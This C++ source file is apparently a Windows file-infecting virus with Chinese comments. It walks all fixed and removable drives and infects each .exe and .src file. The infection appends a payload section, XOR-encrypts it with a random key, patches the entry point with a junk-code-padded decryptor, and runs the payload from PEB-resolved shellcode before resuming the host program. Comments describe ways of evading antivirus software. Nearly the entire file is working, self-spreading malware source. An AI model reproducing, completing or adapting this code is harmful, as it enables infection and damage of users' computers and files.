﻿//遍历感染全盘文件
#include "stdio.h"
#include "Injector.h"
#include "Obfuscator.h"
#include "time.h"

Inject::Inject()
{
	//char szTmpFileName[] = "C:\\Users\\Cray\\Desktop\\1.exe";
	//InfectFile(szTmpFileName);
}

Inject::~Inject()
{
}

bool Inject::work(DWORD InMalexcFile)
{
	SizeOfMalExcFile  = 0x30d400 - 0x4e20;//0x4e20 是其他辅助shellcode的大小（取20k）
	FILE* fp = NULL;
	MalExcFile = new char[SizeOfMalExcFile];
	ZeroMemory(MalExcFile, SizeOfMalExcFile);
	/*if (InMalexcFile==NULL)
	{
		MessageBoxA(NULL, "argv AddrError", NULL, NULL);
		return 0;
	}
	else
	{
		LPSTR mes = InMalexcFile;
		MessageBoxA(NULL, (LPSTR)InMalexcFile, NULL, NULL);
	}*/
	memcpy(MalExcFile, (LPVOID)InMalexcFile, SizeOfMalExcFile);

	//遍历文件
	CHAR DriverStrBuf[1024] = { 0, };
	GetLogicalDriveStringsA(1024, DriverStrBuf);
	PCHAR szDrive = DriverStrBuf;
	while (*szDrive)
	{
		UINT uDriveType = GetDriveTypeA(szDrive);
		switch (uDriveType)
		{
		case DRIVE_REMOVABLE:
		case DRIVE_FIXED:
			RecurseDir(szDrive);
		default:
			break;
		}
		szDrive += strlen(szDrive) + 1;
	}
	delete[] MalExcFile;
	return true;
}
bool Inject::TraveFile()
{
	return true;
}
bool Inject::RecurseDir(LPSTR ResDir)
{
	LPCSTR szFileFilter = "*.*";
	WIN32_FIND_DATAA ffd;
	DWORD LenPath = strlen(ResDir);
	DWORD LenFilter = strlen(szFileFilter);
	DWORD LenDirName = 0;
	LPSTR TmpPath = new CHAR[LenPath + LenFilter + 1];
	ZeroMemory(TmpPath, LenPath + LenFilter+1);
	memcpy(TmpPath, ResDir, LenPath);
	memcpy(TmpPath + LenPath, szFileFilter, LenFilter);

	HANDLE hFindFile = FindFirstFileA(TmpPath, &ffd);
	if (hFindFile != INVALID_HANDLE_VALUE)
	{
		do
		{
			if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				if (IsWhiteListDir(ResDir,ffd.cFileName))
				{
					continue;
				}
				LenDirName = strlen(ffd.cFileName);
				LPSTR FullDirPath = new CHAR[LenPath + LenDirName +3];
				ZeroMemory(FullDirPath, LenPath + LenDirName + 3);
				memcpy(FullDirPath, ResDir, LenPath);
				memcpy(FullDirPath + LenPath, ffd.cFileName, LenDirName);
				memcpy(FullDirPath + LenPath + LenDirName, "\\", 2);
				RecurseDir(FullDirPath);
				delete[] FullDirPath;
			}
			else
			{
				DWORD LenFileName = strlen(ffd.cFileName);
				LPSTR FullFilePath = new CHAR[LenPath + LenFileName + 3];
				ZeroMemory(FullFilePath, LenPath + LenFileName + 3);
				memcpy(FullFilePath, ResDir, LenPath);
				memcpy(FullFilePath + LenPath, ffd.cFileName, LenFileName);
				
				LPCSTR suffix = FullFilePath + LenPath + LenFileName - 3;
				if (!_strcmpi(suffix,"exe")|| !_strcmpi(suffix, "src"))
				{
					//infect exe
					InfectFile(FullFilePath);
				}
				if (!_strcmpi(suffix, "html") || !_strcmpi(suffix, "htm") )
				{
					//infect html
				}

				delete[] FullFilePath;
			}
		} while (FindNextFileA(hFindFile, &ffd));
	}
	delete[] TmpPath;
	return true;
}
bool Inject::IsWhiteListDir(LPSTR DirPath ,LPSTR szFileName)
{
	if (!_stricmp(szFileName,".")||
		!_stricmp(szFileName, "..") ||
		!_stricmp(szFileName, "$RECYCLE.BIN")||
		(!_stricmp(DirPath, "C:\\") & !_stricmp(szFileName, "Windows"))
		)
	{
		return true;
	}
	else
	{
		return false;
	}
}
bool Inject::InfectFile(LPSTR szFilePath)
{
	MalStruct PeStruct;
	PeStruct.dwMalSecSize = 0x30d40;//增加节的大小200k

	FILE* fp = NULL;
	char* lpHeadeData = new char[0x400];
	ZeroMemory(lpHeadeData, 0x400);

	fopen_s(&fp, szFilePath, "rb+");
	fread(lpHeadeData, 1, 0x400, fp);
	PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpHeadeData;
	PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((LPBYTE)lpHeadeData + pDos->e_lfanew);

	PeStruct.SizeOfImage = pNt->OptionalHeader.SizeOfImage;
	delete[] lpHeadeData;//这个Buffer用于获取为文件在内存中展开的大小，方便后面构造代码

	if (!fp || PeStruct.SizeOfImage < 0x2000)
	{
		printf("打开文件失或大小不感染！[%x]\n", GetLastError());
		return 0;
	}
	char* lpBuffer = new char[PeStruct.SizeOfImage + PeStruct.dwMalSecSize];
	PeStruct.lpPeBuff = lpBuffer;
	ZeroMemory(lpBuffer, PeStruct.SizeOfImage + PeStruct.dwMalSecSize);
	rewind(fp);
	fread(lpBuffer, 1, PeStruct.SizeOfImage, fp);


	if (!FixFileData(PeStruct))
	{
		return 0;
	}

	ConstructLastSec(PeStruct);

	srand(unsigned(time(NULL)));
	DWORD dwXorKey = rand() << 16 | rand();

	CryptLastSecData(PeStruct, dwXorKey);
	ConstructOEP(PeStruct,dwXorKey);
	
	rewind(fp);
	fwrite(lpBuffer, 1, PeStruct.SizeOfFile, fp);
	fclose(fp);
	delete[] lpBuffer;
	return 0;

}
bool Inject::FixFileData(MalStruct& PeStruct)
{
	//修改节的属性，大小，以及文件的总大小
	PeStruct.pDos = (PIMAGE_DOS_HEADER)PeStruct.lpPeBuff;
	PeStruct.pNt = (PIMAGE_NT_HEADERS)((LPBYTE)PeStruct.lpPeBuff + PeStruct.pDos->e_lfanew);
	PeStruct.SizeOfImage = PeStruct.pNt->OptionalHeader.SizeOfImage;
	DWORD dwNumbeOfSec = PeStruct.pNt->FileHeader.NumberOfSections;
	DWORD dwSectionAlignment = PeStruct.pNt->OptionalHeader.SectionAlignment;
	DWORD dwFileAlignment = PeStruct.pNt->OptionalHeader.FileAlignment;

	PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)PeStruct.pNt + sizeof(IMAGE_NT_HEADERS));

	//计算出节增大后的文件对齐和文件的总大小
	DWORD dwLastRvaSize = 0;
	DWORD dwNewSizeOfIamge = 0;
	if ((pSec[dwNumbeOfSec - 1].SizeOfRawData + PeStruct.dwMalSecSize) % dwFileAlignment)
	{
		dwLastRvaSize = (((pSec[dwNumbeOfSec - 1].SizeOfRawData + PeStruct.dwMalSecSize) / dwFileAlignment) + 1) * dwFileAlignment;
	}
	else
	{
		dwLastRvaSize = pSec[dwNumbeOfSec - 1].SizeOfRawData + PeStruct.dwMalSecSize;
	}

	if ((dwLastRvaSize + pSec[dwNumbeOfSec - 1].VirtualAddress) % dwSectionAlignment)
	{
		dwNewSizeOfIamge = (((dwLastRvaSize + pSec[dwNumbeOfSec - 1].VirtualAddress) / dwSectionAlignment) + 1) * 0x1000;
	}
	else
	{
		dwNewSizeOfIamge = dwLastRvaSize + pSec[dwNumbeOfSec - 1].VirtualAddress;
	}
	DWORD dwLenOfValueCodeOfRVA = pSec[dwNumbeOfSec - 1].VirtualAddress + pSec[dwNumbeOfSec - 1].SizeOfRawData;
	DWORD dwLenOfValueCodeOfFOA = pSec[dwNumbeOfSec - 1].PointerToRawData + pSec[dwNumbeOfSec - 1].SizeOfRawData;

	PeStruct.encryptCodeVA = PeStruct.pNt->OptionalHeader.ImageBase + dwLenOfValueCodeOfRVA;//这里获得增加节代码在内存中的VA
	PeStruct.lpMalBuffer = PeStruct.lpPeBuff + dwLenOfValueCodeOfFOA;//恶意代码在文件中的偏移
	PeStruct.dwOep2MalSec = dwLenOfValueCodeOfRVA - PeStruct.pNt->OptionalHeader.AddressOfEntryPoint;//恶意代码在内存从距离OEP长度


	//修改文件大小，否则文件展开时会失败
	PeStruct.pNt->OptionalHeader.SizeOfImage = dwNewSizeOfIamge;
	//这里将这两个大都设置为一样大，以防文件损坏
	pSec[dwNumbeOfSec - 1].Misc.VirtualSize = dwLastRvaSize;
	pSec[dwNumbeOfSec - 1].SizeOfRawData = dwLastRvaSize;
	//节权限可写可执行
	pSec[0].Characteristics |= IMAGE_SCN_MEM_WRITE;
	pSec[dwNumbeOfSec - 1].Characteristics |= IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE;
	//关闭随机基值
	PeStruct.pNt->FileHeader.Characteristics |= 0x1;
	PeStruct.SizeOfFile = pSec[dwNumbeOfSec - 1].PointerToRawData + pSec[dwNumbeOfSec - 1].SizeOfRawData;
	return 1;
}
DWORD Inject::AddressConvert(PIMAGE_DOS_HEADER lpBase, DWORD dwAddr, BOOL bFile2RVA)
{
	/*
	lpBase：指向需要处理的数据buffer
	dwAddr:需要转换的偏移值
	bFile2RVA:是否是文件偏移到内存偏移的转换，1 - dwAddr代表的是文件偏移，此函数返回内存偏移
	                                       0 - dwAddr代表的是内存偏移，此函数返回文件偏移
	返回值：相对应的偏移值,失败返回-1
	*/
	DWORD dwRet = -1;
	//2.读取该文件的信息（文件内存对齐方式以及区块数量，并将区块表指针指向区块表第一个区块头）  
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((unsigned long)lpBase + pDosHeader->e_lfanew);

	DWORD dwMemAlign = pNtHeader->OptionalHeader.SectionAlignment;
	DWORD dwFileAlign = pNtHeader->OptionalHeader.FileAlignment;
	int dwSecNum = pNtHeader->FileHeader.NumberOfSections;
	PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((char*)lpBase + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
	DWORD dwHeaderSize = 0;
	if (!bFile2RVA)  // 内存偏移转换为文件偏移  
	{
		//看需要转移的偏移是否在PE头内，如果在则两个偏移相同  
		dwHeaderSize = pNtHeader->OptionalHeader.SizeOfHeaders;
		if (dwAddr <= dwHeaderSize)
		{
			return dwAddr;
		}
		else //不再PE头里，查看该地址在哪个区块中  
		{
			for (int i = 0; i < dwSecNum; i++)
			{
				DWORD dwSecSize = pSecHeader[i].Misc.VirtualSize;
				if ((dwAddr >= pSecHeader[i].VirtualAddress) && (dwAddr <= pSecHeader[i].VirtualAddress + dwSecSize))
				{
					//3.找到该该偏移，则文件偏移 = 该区块的文件偏移 + （该偏移 - 该区块的内存偏移）  
					dwRet = pSecHeader[i].PointerToRawData + dwAddr - pSecHeader[i].VirtualAddress;
				}
			}
		}
	}
	else // 文件偏移转换为内存偏移  
	{
		dwHeaderSize = pNtHeader->OptionalHeader.SizeOfHeaders;
		//看需要转移的偏移是否在PE头内，如果在则两个偏移相同  
		if (dwAddr <= dwHeaderSize)
		{
			return dwAddr;
		}
		else//不再PE头里，查看该地址在哪个区块中  
		{
			for (int i = 0; i < dwSecNum; i++)
			{
				DWORD dwSecSize = pSecHeader[i].Misc.VirtualSize;
				if ((dwAddr >= pSecHeader[i].PointerToRawData) && (dwAddr <= pSecHeader[i].PointerToRawData + dwSecSize))
				{
					//3.找到该该偏移，则内存偏移 = 该区块的内存偏移 + （该偏移 - 该区块的文件偏移）  
					dwRet = pSecHeader[i].VirtualAddress + dwAddr - pSecHeader[i].PointerToRawData;
				}
			}
		}
	}
	return dwRet;
}
bool Inject::ConstructOEP(MalStruct& PeStruct,DWORD dwXorKey)
{
	//修改OEP
	/*char MyTestStr[] = "Dem0 Start!";
	memcpy(PeStruct.lpMalBuffer, MyTestStr, strlen(MyTestStr));*/
	Obfuse Obfuse;

	
	byte RegValue = rand() % 4;
	DWORD OpcodeSize = 0;
	DWORD dwOepOfFile = AddressConvert((PIMAGE_DOS_HEADER)PeStruct.lpPeBuff, PeStruct.pNt->OptionalHeader.AddressOfEntryPoint, 0);
	
	//过杀软方法 1
	//*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xe8; OpcodeSize += 1;//入口代码构造为call
	//*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + 1) = 0x28; OpcodeSize += 4;
	//OpcodeSize += 0x28;//上面的call向下跳了0x28字节

	//过杀软方法 2
	//*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xbd; OpcodeSize += 1;
	//*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + 1) = dwXorKey; OpcodeSize += 4; //mov ebp,0x55667788
	//*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0x55; OpcodeSize += 1;     //push ebp

	OpcodeSize = Obfuse.StuffJunkcode(PeStruct.lpPeBuff + dwOepOfFile, RegValue, OpcodeSize,4);


	*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xB8; OpcodeSize += 1;//mov eax,encryptCodeVA
	*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = PeStruct.encryptCodeVA; OpcodeSize += 4;
	
	*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xB9; OpcodeSize += 1;//mov ecx,循环次数
	*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = PeStruct.dwMalSecSize/4; OpcodeSize += 4;

	*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xBA; OpcodeSize += 1;//mov edx,XorKey
	*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = dwXorKey; OpcodeSize += 4;

	*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xDA33188B; OpcodeSize += 4;
	*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xC0831889; OpcodeSize += 4;
	*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0x90F5E204; OpcodeSize += 4;//循环解密代码

	OpcodeSize = Obfuse.StuffJunkcode(PeStruct.lpPeBuff + dwOepOfFile, RegValue, OpcodeSize, 2);

	*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0x68; OpcodeSize += 1;//push encryptCodeVA
	*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = PeStruct.encryptCodeVA; OpcodeSize += 4;

	OpcodeSize = Obfuse.StuffJunkcode(PeStruct.lpPeBuff + dwOepOfFile, RegValue, OpcodeSize,2);

	*(PeStruct.lpPeBuff + dwOepOfFile + OpcodeSize) = 0xC3; OpcodeSize += 1;//ret

	//*(PeStruct.lpPeBuff + dwOepOfFile) = 0xe9;
	//*(LPDWORD)(PeStruct.lpPeBuff + dwOepOfFile+1) = PeStruct.dwOep2MalSec-5;//5是jmp本身的长度
	return 0;
}

bool Inject::ConstructLastSec(MalStruct& PeStruct)
{
	DWORD OpcodeSize = 0;
	DWORD dwOepOfFile = AddressConvert((PIMAGE_DOS_HEADER)PeStruct.lpPeBuff, PeStruct.pNt->OptionalHeader.AddressOfEntryPoint, 0);
	memcpy(PeStruct.lpMalBuffer+0x400, PeStruct.lpPeBuff+ dwOepOfFile, 0x200);//保存原始OEP

	memcpy(PeStruct.lpMalBuffer + 0x600, (LPVOID)MalExcFile, SizeOfMalExcFile);//将恶意程序复制到下一个被感染程序中

	*PeStruct.lpMalBuffer = 0xE8; OpcodeSize += 1;
	*(LPDWORD)(PeStruct.lpMalBuffer + OpcodeSize) = 0x0; OpcodeSize += 4;//call 0
	*(PeStruct.lpMalBuffer + OpcodeSize) = 0x5e; OpcodeSize += 1;//pop esi
	*(LPWORD)(PeStruct.lpMalBuffer + OpcodeSize) = 0xc681; OpcodeSize += 2;
	*(LPDWORD)(PeStruct.lpMalBuffer + OpcodeSize) = 0x3fb; OpcodeSize += 4; //add esi,0x3fb 
	*(PeStruct.lpMalBuffer + OpcodeSize) = 0xb9; OpcodeSize += 1;
	*(LPDWORD)(PeStruct.lpMalBuffer + OpcodeSize) = 0x200; OpcodeSize += 4;//mov eci,0x200
	*(PeStruct.lpMalBuffer + OpcodeSize) = 0xbf; OpcodeSize += 1;
	*(LPDWORD)(PeStruct.lpMalBuffer + OpcodeSize) = PeStruct.pNt->OptionalHeader.ImageBase+PeStruct.pNt->OptionalHeader.AddressOfEntryPoint; OpcodeSize += 4;
	//mov edi,0xxxxxx; 恢复原始OEP
	*(LPWORD)(PeStruct.lpMalBuffer + OpcodeSize) = 0xa4f3; OpcodeSize += 2;//rep movsb 以上几句用于恢复原始OEP数据
	void* myCode = &this->OpcodeOfMalSec;//执行我的真正恶意程序
	memcpy(PeStruct.lpMalBuffer + OpcodeSize, myCode, 0x350);
	return 1;
}

VOID Inject::OpcodeOfMalSec()
{
	//这个shellcode用于恢复执行原始代码和执行恶意代码
	//恶意程序经过

	DWORD MyLoadLibraryA = NULL;
	DWORD MyGetProcAddr = NULL;
	DWORD MyVirtualAlloc = NULL;//4ea
	DWORD MyVirtualProtect = NULL;//4f0
	LPBYTE lpFileBuffer = NULL;
	DWORD CreateThread = NULL;
	DWORD Oep = NULL;
	__asm
	{
		mov eax, FS: [30h] ;
		mov eax, [eax + 0Ch];
		mov eax, [eax + 1Ch];//这个是第一个ldr_data结构指向第一个模块
		mov eax, [eax];//拿到第一个模块的门三地址  C:\Windows\system32\KERNELBASE.dll
		mov eax, [eax];//kernel32.dll
		mov ebx, [eax + 08h];//GetDllBase = ebx
		//mov ebx,[eax+14h];//偏移为14h为这个dll的名称，有需要可以拿出来对比
		// 		现在进去dll内存操作
		mov eax, [ebx + 3Ch];//获取PE头e_lfanew
		mov eax, [eax + ebx + 78h];
		add eax, ebx;
		mov edi, [eax + 1Ch];
		add edi, ebx;     //edx = AddressOfFunctions这张表的基值(已经指向第一个无名函数了)
		//查表，    LoadLibraryA = 0x33d

		mov esi, 33dH; //LoadlibraryA
		sub esi, 1h;
		mov eax, [edi + esi * 4];
		add eax, ebx;//eax -> LoadlibraryA
		mov MyLoadLibraryA, eax;

		mov esi, 245H; //GetProcAddr
		sub esi, 1h;
		mov eax, [edi + esi * 4];
		add eax, ebx;//eax -> GetProcAddr
		mov MyGetProcAddr, eax;

		mov esi, 4eaH; //VirtualAlloc
		sub esi, 1h;
		mov eax, [edi + esi * 4];
		add eax, ebx;//eax -> VirtualAlloc
		mov MyVirtualAlloc, eax;

		mov esi, 4f0H; //VirtualProtect
		sub esi, 1h;
		mov eax, [edi + esi * 4];
		add eax, ebx;//eax -> VirtualProtect
		mov MyVirtualProtect, eax;

		//----------------
		mov esi, 0b7H; //Createthread
		sub esi, 1h;//可以不用管
		mov eax, [edi + esi * 4];
		add eax, ebx;//Createthread的地址
		mov CreateThread, eax;
		pop ecx;
		sub ecx, 0x200;
		mov Oep, ecx;
		pop ecx;
		push ecx;
		mov lpFileBuffer, ecx
	}

	LPBYTE dwTmpEsi = 0;
	LPBYTE dwTmpEdi = 0;
	DWORD dwTmpEcx = 0;
	int i = 0;
	HMODULE hMou;
	PIMAGE_THUNK_DATA lpFirstNameArry = NULL;
	PIMAGE_DOS_HEADER pFileDos = (PIMAGE_DOS_HEADER)lpFileBuffer;
	PIMAGE_NT_HEADERS pFileNt = (PIMAGE_NT_HEADERS)(lpFileBuffer + pFileDos->e_lfanew);
	PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pFileNt + sizeof(IMAGE_NT_HEADERS));
	DWORD ImageSize = pFileNt->OptionalHeader.SizeOfImage;
	DWORD dwSizeOfHeader = pFileNt->OptionalHeader.SizeOfHeaders;
	//LPBYTE lpMemBuffer = (LPBYTE)malloc(ImageSize);
	LPVOID lpMemBuffer = NULL;
	__asm
	{
		push 0x40;
		push 0x1000;
		push ImageSize;
		push 0;
		call MyVirtualAlloc;
		mov lpMemBuffer, eax;
	}
	//LPVOID lpMemBuffer = VirtualAlloc(NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	__asm
	{
		push 0x0;
		push 0x40;
		push ImageSize;
		push lpMemBuffer;
		call MyVirtualProtect;
	}
	//VirtualProtect(lpMemBuffer, ImageSize, PAGE_EXECUTE_READWRITE, NULL);
	//将头部拷贝过去
	__asm
	{
		pushad;
		pushfd;
		mov ecx, dwSizeOfHeader;
		mov esi, lpFileBuffer;
		mov edi, lpMemBuffer;
		rep movsb;
		popfd;
		popad;
	}
	//memcpy(lpMemBuffer, lpFileBuffer, dwSizeOfHeader);
	for (; i < pFileNt->FileHeader.NumberOfSections; i++)
	{
		if (pSec->VirtualAddress == 0 || pSec->PointerToRawData == 0)
		{
			pSec++;
			continue;
		}
		//memcpy((LPBYTE)lpMemBuffer + pSec->VirtualAddress, lpFileBuffer + pSec->PointerToRawData, pSec->SizeOfRawData);
		dwTmpEdi = (LPBYTE)lpMemBuffer + pSec->VirtualAddress;
		dwTmpEsi = lpFileBuffer + pSec->PointerToRawData;
		dwTmpEcx = pSec->SizeOfRawData;

		__asm
		{
			pushad;
			pushfd;
			mov ecx, dwTmpEcx;
			mov esi, dwTmpEsi;
			mov edi, dwTmpEdi;
			rep movsb;
			popfd;
			popad;
		}
		pSec++;
	}
	//-----------------IAT
	PIMAGE_DOS_HEADER pMemDos = (PIMAGE_DOS_HEADER)lpMemBuffer;
	PIMAGE_NT_HEADERS pMemNt = (PIMAGE_NT_HEADERS)((LPBYTE)lpMemBuffer + pMemDos->e_lfanew);
	PIMAGE_IMPORT_DESCRIPTOR pImportTalbe = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)lpMemBuffer + pMemNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
	PIMAGE_IMPORT_BY_NAME lpImportByNameTable = NULL;
	FARPROC Funaddr;
	LPCSTR lpDllName = (LPCSTR)((LPBYTE)lpMemBuffer + 2);
	i = 0;

	__asm
	{
		push lpDllName;
		call MyLoadLibraryA;
		mov hMou, eax;
	}
	//hMou = LoadLibraryA("Kernel32.dll");
	lpFirstNameArry = (PIMAGE_THUNK_DATA)((LPBYTE)lpMemBuffer + pImportTalbe->FirstThunk);
	LPCSTR GetAddr = NULL;

	while (lpFirstNameArry[i].u1.AddressOfData)
	{
		lpImportByNameTable = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)lpMemBuffer + lpFirstNameArry[i].u1.AddressOfData);
		GetAddr = lpImportByNameTable->Name;
		__asm
		{
			push GetAddr;
			push hMou;
			call MyGetProcAddr;
			mov Funaddr, eax;
		}
		//Funaddr = GetProcAddress(hMou, lpImportByNameTable->Name);
		lpFirstNameArry[i].u1.Function = (DWORD)Funaddr;
		i++;
	}
	Funaddr = (FARPROC)((LPBYTE)lpMemBuffer + pMemNt->OptionalHeader.AddressOfEntryPoint);//指向修复程序的OEP
	
	__asm
	{
		push 0x0;
		push 0x0;
		push lpFileBuffer;//参数
		push Funaddr;//地址
		push 0x0;
		push 0x0;
		call CreateThread;
		mov eax, Oep;
		push eax;
		ret;
	}
	//CreateThread(0, 0, Funaddr, 0, 0, 0);

}

VOID Inject::CryptLastSecData(MalStruct& PeStruct,DWORD dwXorKey)
{
	DWORD encryptCodeVA = (DWORD)PeStruct.lpMalBuffer;
	DWORD dwMalSecSize = PeStruct.dwMalSecSize/4;
	__asm
	{
		mov eax, encryptCodeVA;
		mov ecx, dwMalSecSize;
		mov edx, dwXorKey;
loop1:
		mov ebx, dword ptr ds : [eax] ;
		xor ebx, edx;
		mov dword ptr ds : [eax] , ebx;
		add eax, 0x4;
		loop  loop1;
	}
}

